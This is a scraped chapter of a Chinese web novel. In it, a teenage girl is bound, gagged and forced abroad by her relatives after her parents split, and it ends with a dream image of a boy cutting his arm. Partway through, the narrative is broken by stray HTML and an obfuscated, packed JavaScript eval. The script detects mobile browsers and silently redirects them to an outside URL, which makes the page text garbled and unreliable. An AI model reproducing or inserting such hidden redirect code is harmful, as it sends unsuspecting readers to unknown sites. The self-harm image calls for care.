林暮含着泪水,看着江爸江妈,又看了看自己的妈妈,她终于清醒了,她和江潮,再也没有可能了。
林暮把所有的过错都算在了自己的爸爸头上,可是林暮发现,她没办法恨自己的爸爸。
林城已经三天没回家了,林暮看着日渐憔悴的妈妈,心里不是滋味,从内心里,她是喜欢爸爸的,可是理性来说,她永远站在妈妈这一边。
律师每天都上门,逼着妈妈放弃抚养权,可是苏余从来都没有松口过。
“林先生让我来接林小姐。”第五天的时候,家里来了几个粗壮大汉,苏余把林暮护在身后,“我不许你们带走我的孩子。”
“那我们就只能用强了。”
林暮长这么大,都没有见过光明正大抢人的,最后还是江爸江妈打电话报警,那些人才离开,可以林暮被吓得坐在沙发上,窝成一团,瑟瑟发抖。
“可可,这个家,我们不能住了。”
“那我们要去哪?”
“你舅舅在办签证,签证办好之前,我们住在酒店里。”
“可是……可是我还想再见爸爸一面,至少在去美国之前,我还想再见他一面。”
“啪!”就在林暮恳求着妈妈的时候,苏余面无表情地朝着林暮的脸,狠狠打了一巴掌。
这是苏余第一次打林暮,也是林暮长这么大,第一次挨打,脸上火辣辣的疼的时候,林暮才清醒过来,这个巴掌让她知道了,过去将近18年的骄纵生活,到头了!
“可可,妈妈不是故意的。”苏余想上前来安慰她,却被林暮躲开了。
“我想自己静一静!”
“可可,你不能见爸爸!”
“我说了,我想自己静一静!”
林暮刚回到房间两拨人又来了,这样的阵仗,林暮已经司空见惯了,他打开房门,面无表情的看着爸爸和舅舅,又面无表情地关上。
“可可,跟爸爸走!”
“可可,跟舅舅走!”
林暮不知道要怎么选,她只能死死抵住房门,可是这一次好像不一样,不一会儿,更多人闯了进来,把林城团团围住。
“苏余,你要干什么?”
“可可,跟舅舅走,快走!”一直到苏余走上前来拉着林暮的手的时候,她才清楚,第二波人都是舅舅叫来的。
“妈妈,我不能走,我还没有告诉江潮哥哥,我要去美国了!”
“这件事情,江潮不能知道,知道了我们就走不了了!”
林暮擦干脸上的泪水,坐到了床上,“那你要我怎么办?心甘情愿跟你走吗?美国有什么?有我喜欢的中文系吗?有江潮吗?”
“林暮,不要问我,去问你那个出轨的爸爸,因为你有那样一位爸爸,他把这一切都毁了。”
“苏余,不准这样跟可可说话!”
“你现在还有脸冲我妹妹喊?”
林暮看着客厅已经吵起来的爸爸和舅舅,那一刻一个想法在她脑海里生成,趁着妈妈出神的功夫,林暮用尽全力挣脱开,跑了出去,就像小时候江潮抑郁症犯了,她拉着江潮跑到古镇一样,不过这一次,只有她自己了。
林暮拼命奔跑,想要找个没人的地方给江潮打电话,她想要去找黎奶奶,想要去找黎好,她拼了命的跑出去,她马上就要看到去糖水铺的那座桥了,她看到了黎好,她就站在门口,不知道在张望什么。
林暮挥挥手,大喊着黎好的名字,希望她可以注意到自己,可是在喊第二声的时候,林暮的嘴就被舅舅捂住了。
“可可,跟舅舅走,快走。”林暮拼命挣脱开,可是走了两步又被舅舅拽住。
“看什么呢?去找绳子啊!”舅舅对着一起追来的江爸大喊。
林暮拼命想要张嘴喊黎好,或者弄出点声响,引起她的注意,可是黎好这个时候转身回了店里,林暮最后的一点希望也破灭了,可是她还是不服气,她一定要靠着自己跑出去。
林暮这时候看着舅舅的手臂就在眼前,张开嘴咬了上去,舅舅疼得松开了她,就在林暮以为自己可以挣脱的时候,江爸拿了一捆绳子过来,三下五除二,把林暮的手臂和双腿仅仅绑住,林暮瞬间没办法动弹了。
“叔叔,求求你把我松开,我要给江潮哥哥打电话,求求你把我松开。”
林暮整个人侧躺在地上,手臂的活动范围有限,只能够到江爸的裤脚,她就这样攥着,嘴里不停哀求着,可是眼前这个人,这个从小给她买古筝、教她泡茶的人,此刻像是陌生人。
江爸缓缓蹲下,替林暮整理了一下头发,“可可,跟着舅舅去美国吧,去过新的生活,没有江潮的生活。”
“不,我不要!”林暮嘴里叫喊着,眼神里全是惊恐和不可置信,她希望江爸可以突然心软,放了自己,可是下一秒他却拿出一个手帕,堵住了林暮的嘴。
林暮哭着喊着,可是根本发不出声音,江爸把她抱在怀里,她还是拼命挣扎着,眼泪浸湿了江爸胸前的衣服,可是去没有得到半点怜悯。
“可可,不要怪叔叔,叔叔也是没有办法。”
“叔叔……叔叔……”林暮的声音被手帕堵了回来。
慌乱中,林暮口袋里的手机掉了下来,林暮想要伸手去捡,可是去眼睁睁看着舅舅一下又一下地把手机踩碎了。
“可可,舅舅给你买新的,我们满新的!”
一直到林暮被塞到车里,她才意识到,自己是真的要走了,要离开这个生活了将近18年的小镇,可是她怎么可以这样离开呢?她还没有告诉江潮哥哥,她不能不告而别,就算是走,她也要说清楚啊!
林暮在车里反复挣扎,细嫩的皮肤在粗麻绳上来回摩擦,很快就擦出几道血痕,可是林暮感觉不到疼,他以为这样就能挣脱开,可是车门被锁上了,就算她挣脱开绳子,她也走不出去。
林暮眼睁睁看着妈妈和舅舅上车,车门关上。
车子启动,她贴着车窗看着近在咫尺的爸爸,可是她发不出声音,一直到车子快速行驶起来,爸爸在后面追赶,看着爸爸的身影逐渐消失,林暮终于死心,眼前一黑,昏了过去。
林暮醒来的时候,人已经在酒店里了,舅舅和妈妈正在激烈争吵着什么,林暮装作没睡醒,翻了个身,听着他们的对话。
“爸爸当初就不同意你俩,你看现在……”
“那我也不知道他是这种人啊!”
“那你现在想怎么样?要我说啊,你就把可可给他,你跟着我去美国,哥哥养你。”
“不行,可可是我的孩子,我不能把她给林城。”
“那你想过没有,可可去美国是要上大学的,学费生活费是一笔很大的开销,你要怎么赚钱养她啊?”
“我去洗盘子,我也要把她带去美国!”
“苏余,你可想好了,以后可别来找我哭!”
……
后面两个人说的什么,林暮已经完全没有心思听了,她看着手腕上磨出的勒痕,血已经止住了,可是疼痛袭来,她忍不住哼唧了一声。
就是这一声让争吵停了下来。
“可可,你醒了?”苏余走过来坐在床前,摸着林暮的头问。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16481071|185647||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“妈妈,疼!”林暮把手臂给苏余看。
“妈妈等一会找点酒精消消毒。”苏余轻轻放下林暮的胳膊,眼里满是心疼,“你为什么要用那么大力气呢,多疼啊!”
“叔叔用绳子把我绑起来的。”林暮钻到妈妈怀里嚎啕大哭,她甚至以为刚刚只是一场噩梦,梦醒了,台湾通行证下来了,她就可以去找江潮了,可是现在,手臂上的疼痛提醒着她,这一切都不是梦。
林暮觉得现在的她像是在玩什么狼人杀,天亮了她才发现,全员恶人。
从来到这家酒店,林暮就再也没出去过。
考高成绩出来了,可是她的准考证不见了,没办法查成绩,她只能躺在床上打游戏,手屏幕上突然出现一个信息:【可可,你能去复旦了!】
是江潮,他发来一张成绩单截图,分数远超复旦历年的投档线,林暮这才想起来,高考结束后,江潮找林暮要了她的准考证。
“我是怕你查成绩的时候准考证找不到了!”江潮那时候还嘲笑她粗心大意。
林暮想要回复江潮,打了一行字之后又删掉了。
【前几天听我把妈说,你去办台湾通行证了?】
【不告诉我是想给我个惊喜?】
【哈哈哈,被我识破了吧】
林暮把手机放在床上,看着江潮发的一条条信息,中间还夹杂着黎好的两个。
【啊啊啊啊啊,林暮,我能去华东师范大学了】
【不过这几天你怎么没来找我?】
【我奶奶又研发出新的甜品,你要不要过来尝尝?】
林暮看着这些消息,痛苦地闭上了眼睛,此刻的她,像是个待宰的羔羊,等着上帝的审判,她的18岁,学会了接受痛苦。
“舅舅先回美国了,他出去先给我们安顿好,等签证下来,我和你爸把离婚证办好,就可以过去了!”苏余平静地把下一步的计划告诉林暮。
林暮用更加冷漠的态度来回应她:“知道了!”
“可可~”
“妈妈,高考成绩出来了。”
“可可,你如果要申请美国的学校,可能要考雅思。”
“黎好要报华中师范大学,她很开心。”
“妈妈给你报了补习班。”
“我的成绩也出来了,405,是不是很厉害。”
“这个成绩,申请美国的大学更有优势。”
“妈,我饿了!”
“好,我去给你买吃的。”
母女俩终于谈到一起去了。
在酒店的那一个月,林暮每天像是做梦一样,江潮和黎好每天都给她发消息,从分享生活到后来问她为什么不回消息。
林暮冷眼看着这一切,眼神越来越淡漠,一直到她坐上去美国的飞机,林暮终于忍不住,看着窗外的风景默默流泪。
“我们再也不会回来了吗?”
“只要你想,大学毕业后,你可以回国工作的。”
“那时候,江潮哥哥会结婚吗!”
“可可~这不是你该操心的事情。”
“那爸爸呢,爸爸想我了怎么办?”
“可可,你爸爸会有新的生活。”苏余把林暮抱在怀里,“可是妈妈只有你了。”
“我也只有妈妈了!”
林暮用手摩挲着妈妈手上的玉镯,在温暖的怀里沉沉睡去,可是睡梦中,她梦到了江潮来美国找她,她拼命捶打着门,可是妈妈不让江潮进来。
江潮见状,从包里拿出一把刀来,就像他高一时候的样子,伸出手臂划了上去。